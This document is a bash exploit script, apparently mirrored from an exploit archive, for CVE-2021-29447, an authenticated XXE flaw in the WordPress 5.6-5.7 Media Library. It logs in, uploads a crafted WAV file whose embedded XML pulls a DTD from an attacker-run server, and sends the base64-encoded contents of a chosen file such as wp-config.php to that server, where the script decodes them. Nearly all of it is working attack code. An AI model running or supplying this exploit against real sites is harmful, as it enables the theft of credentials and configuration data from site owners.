Exploit for WordPress 5.7 Media Library XML Injection CVE-2021-29447

## https://sploitus.com/exploit?id=PACKETSTORM:164198
# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)  
# Date: 16/09/2021  
# Exploit Author: David Utón (M3n0sD0n4ld)  
# Vendor Homepage: https://wordpress.com  
# Affected Version: WordPress 5.6-5.7 & PHP8  
# Tested on: Linux Ubuntu 18.04.5 LTS  
# CVE : CVE-2021-29447  
  
#!/bin/bash  
  
# Author: @David_Uton (m3n0sd0n4ld)  
# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST  
# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX  
  
  
# Variables  
rHost=$1  
username=$2  
password=$3  
readFile=$4  
lHost=$5  
  
# Functions  
# Logotype  
logoType(){  
echo "  
=====================================  
CVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)  
-------------------------------------  
@David_Uton (M3n0sD0n4ld)  
https://m3n0sd0n4ld.github.io/  
====================================="  
}  
  
# Create wav malicious  
wavCreate(){  
echo -en "RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version='1.0'?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://$lHost:8000/xx3.dtd'>%remote;%init;%trick;]>\x00" > payload.wav && echo "[+] Create payload.wav"  
}  
  
# Create xx3.dtd  
dtdCreate(){  
cat <<EOT > xx3.dtd  
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=$readFile">  
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://$lHost:8000/?p=%file;'>" >  
EOT  
}  
  
# wav upload  
wavUpload(){  
cat <<EOT > .upload.py  
#/usr/bin/env python3  
  
import requests, re, sys  
  
postData = {  
'log':"$username",  
'pwd':"$password",  
'wp-submit':'Log In',  
'redirect_to':'http://$rHost/wp-admin/',  
'testcookie':1  
}  
  
r = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True  
  
cookies = r.cookies  
  
print("[+] Getting Wp Nonce ... ")  
  
res = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)  
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)  
  
if len(wp_nonce_list) == 0 :  
print("[-] Failed to retrieve the _wpnonce")  
exit(0)  
else :  
wp_nonce = wp_nonce_list[0]  
print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce)  
  
print("[+] Uploading the wav file ... ")  
  
postData = {  
'name': 'payload.wav',  
'action': 'upload-attachment',  
'_wpnonce': wp_nonce  
}  
  
wav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}  
r_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies)  
if r_upload.status_code == 200:  
image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]  
_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]  
print('[+] Wav uploaded successfully')  
else :   
print("[-] Failed to receive a response for uploaded! Try again . \n")  
exit(0)  
EOT  
python3 .upload.py  
}  
  
# Server Sniffer  
serverSniffer(){  
statusServer=$(python3 -m http.server &> http.server.log & echo $! > http.server.pid)  
}  
  
# Load file and decoder  
loadFile(){  
content="http.server.log"  
wavUpload  
  
while :  
do   
if [[ -s $content ]]; then   
echo "[+] Obtaining file information..."  
sleep 5s # Increase time if the server is slow  
  
base64=$(cat $content | grep -i '?p=' | cut -d '=' -f2 | cut -d ' ' -f1 | sort -u)  
  
# Check file exists  
echo "<?php echo zlib_decode(base64_decode('$base64')); ?>" > decode.php  
sizeCheck=$(wc -c decode.php | awk '{printf $1}')  
if [[ $sizeCheck -gt "46" ]]; then  
php decode.php  
else   
echo "[!] File does not exist or is not allowed to be read."  
fi  
break  
fi  
done  
}  
  
# Cleanup  
cleanup(){  
kill $(cat http.server.pid) &>/dev/null  
rm http.server.log http.server.pid &>/dev/null  
rm xx3.dtd payload.wav .upload.py decode.php .cookies.tmp &>/dev/null  
}  
  
  
# Execute  
logoType  
  
# Checking parameters  
if [[ $# -ne 5 ]];then  
echo "[!] Parameters are missing!!!"  
echo ""  
echo "$ ./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST"  
else  
  
# Test Connection...  
echo "[*] Test connection to WordPress..."  
  
# WP Auth  
authCheck=$(curl -i -s -k -X $'POST' \  
-H "Host: $rHost" -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H "Referer: http://$rHost/wp-login.php" -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 79' -H "Origin: http://$rHost" -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \  
-b $'wordpress_test_cookie=WP%20Cookie%20check' \  
--data-binary "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \  
"http://$rHost/wp-login.php" > .cookies.tmp)  
  
auth=$(head -n 1 .cookies.tmp | awk '{ printf $2 }')  
  
# Running authentication with WordPress.  
  
if [[ $auth != "302" ]]; then  
echo "[-] Authentication failed ! Check username and password"  
else  
echo "[+] Authentication successfull!!!"  
  
# Create wav & dtd file  
wavCreate  
dtdCreate  
serverSniffer  
loadFile  
cleanup  
fi  
fi